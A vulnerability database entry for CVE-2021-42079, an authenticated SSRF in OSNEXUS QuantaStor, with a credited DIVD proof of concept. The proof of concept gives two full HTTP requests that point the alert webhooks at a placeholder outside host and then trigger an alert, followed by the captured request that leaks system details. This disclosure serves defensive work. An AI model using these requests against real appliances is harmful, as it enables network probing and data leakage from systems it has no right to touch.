CVE-2021-42079 - CVE House
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Status published Medium CVE-2021-42079

SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Vulnerability Description

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Impact Analysis

Refer to official advisory for detailed impact metrics.

Remediation

Ensure systems are updated to the latest vendor-supplied patch levels.

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Credits & Attribution

The following person or organization is credited with identifying this vulnerability, as recorded in the NVD database:

  • Wietse Boonstra (DIVD)
  • Frank Breedijk (DIVD)
  • Victor Pasman (DIVD)
  • Victor Gevers (DIVD)
  • Max van der Horst (DIVD)
  • Célistine Oosting (DIVD)

Affected Vendor

Affected Software

QuantaStor
Vulnerable Versions:
0

Timeline

Official Publish: July 10th, 2023
Last Modified: September 22nd, 2025
Added to House: July 21st, 2026

CVSS Vectors

V3: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N

Weaknesses (CWE)